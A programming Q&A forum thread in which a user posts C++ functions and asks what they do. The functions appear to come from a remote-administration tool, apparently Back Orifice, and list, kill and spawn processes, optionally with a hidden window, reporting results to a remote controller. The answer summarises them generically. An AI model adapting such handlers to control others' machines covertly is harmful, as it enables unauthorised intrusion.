Want to win a PS4? Go Premium and enter to win our High-Tech Treats giveaway. Enter to Win

x
?
Solved

C++ und Delphi

Posted on 2004-03-28
2
Medium Priority
?
327 Views
Last Modified: 2010-08-05
Hi Experts,
Can anybody tell me what this Code do:

--------------------------------------------------------------------------------------------------------------------------------------------

bool BOAPI CmdProc_ProcessList( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      char svBuffer[1024];
      PROCESSINFO *pinfo,*cur;

      if(svArg2) if(svArg2[0]=='\0') svArg2=NULL;

      pinfo=fct->CreateProcListSnapshot(gs, svArg2);

      for(cur=pinfo;cur;cur=cur->next) {
            THREADINFO *pti;
            int nThreads;

            nThreads=0;
            for(pti=cur->pThread;pti;pti=pti->next) nThreads++;
      
            api->pwsprintf(svBuffer,"(0x%X) %s  %d threads\n",cur->dwProcID,cur->svApp,nThreads);
            
            fct->IssueAuthCmdReply(gs, ctx, 0, svBuffer);
      }
      fct->IssueAuthCmdReply(gs, ctx, 0, "End process list.\n");
      fct->DestroyProcListSnapshot(gs, pinfo);      
      
      return 0;
}

bool BOAPI CmdProc_ProcessKill( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      // Get pid string (hex)
      char *svPid;
      fct->CharUpper(svArg2);
      svPid=fct->BreakString(svArg2,"0X", gs);
      if( svPid==NULL ) svPid=svArg2;
      
      // Convert to dword
      DWORD dwPid;
      dwPid=0;
      while(*svPid) {
            char c;
            c=*svPid;

            if(c>='A' && c<='F') c=c-'A'+0xA;
            else if(c>='0' && c<='9') c-='0';
            else c=0;

            dwPid<<=4;
            dwPid|=c;

            svPid++;
      }
      
      // Open process handle
      HANDLE hProc;
      hProc=api->pOpenProcess(PROCESS_TERMINATE,FALSE,dwPid);
      if(hProc==NULL) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not access process.\n" );
            return false;
      }
      if(api->pTerminateProcess(hProc,0)==0) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not terminate process.\n" );
            return false;
      }

      fct->IssueAuthCmdReply( gs, ctx, 0, "Process terminated.\n" );
      return true;
}

bool BOAPI CmdProc_ProcessSpawn( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      STARTUPINFO si;
      PROCESS_INFORMATION pi;

      si.cb=sizeof(STARTUPINFO);
      gs->fct.memset(&si,0,sizeof(STARTUPINFO));
      si.dwFlags=STARTF_FORCEOFFFEEDBACK|STARTF_USESHOWWINDOW;
      si.wShowWindow=(nArg1==1)?SW_HIDE:SW_SHOW;
      HINSTANCE ShellExError;

      if(gs->api.pCreateProcess(
            NULL,
            svArg2,
            NULL,
            NULL,
            FALSE,
            NORMAL_PRIORITY_CLASS,
            NULL,
            NULL,
            &si,
            &pi)==0) {
            ShellExError = ShellExecute(NULL, "open", svArg2, NULL, NULL, si.wShowWindow);
            if (int(ShellExError)<= 32) {
                        gs->fct.IssueAuthCmdReply(gs,ctx,BCC_ERR,"Could not spawn process.\n");
                        return false;
            }
      }

      gs->fct.IssueAuthCmdReply( gs, ctx, 0, "Process spawned.\n" );
      return true;
}

--------------------------------------------------------------------------------------------------------------------------------------------
0
Comment
Question by:k4hvd77
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
2 Comments
 
LVL 11

Accepted Solution

by:
shaneholmes earned 2000 total points
ID: 10698333
In general terms, it simply,

CmdProc_ProcessSpawn = Executes a process (Application)

CmdProc_ProcessKill = Terminates a process (Applicatin)

CmdProc_ProcessList = a list of the processes, which it then iterates and does something with


You didn't provide the code for the following methods below:

SHane

CreateProcListSnapshot
pwsprintf
IssueAuthCmdReply
DestroyProcListSnapshot
fct.memset
pOpenProcess
pTerminateProcess
0
 
LVL 4

Author Comment

by:k4hvd77
ID: 10698957
Thank you shaneholmes ;)
0

Featured Post

Concerto Cloud for Software Providers & ISVs

Can Concerto Cloud Services help you focus on evolving your application offerings, while delivering the best cloud experience to your customers? From DevOps to revenue models and customer support, the answer is yes!

Learn how Concerto can help you.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

A lot of questions regard threads in Delphi.   One of the more specific questions is how to show progress of the thread.   Updating a progressbar from inside a thread is a mistake. A solution to this would be to send a synchronized message to the…
This article explains how to create forms/units independent of other forms/units object names in a delphi project. Have you ever created a form for user input in a Delphi project and then had the need to have that same form in a other Delphi proj…
Have you created a query with information for a calendar? ... and then, abra-cadabra, the calendar is done?! I am going to show you how to make that happen. Visualize your data!  ... really see it To use the code to create a calendar from a q…
In this video, Percona Solution Engineer Dimitri Vanoverbeke discusses why you want to use at least three nodes in a database cluster. To discuss how Percona Consulting can help with your design and architecture needs for your database and infras…
Suggested Courses

610 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question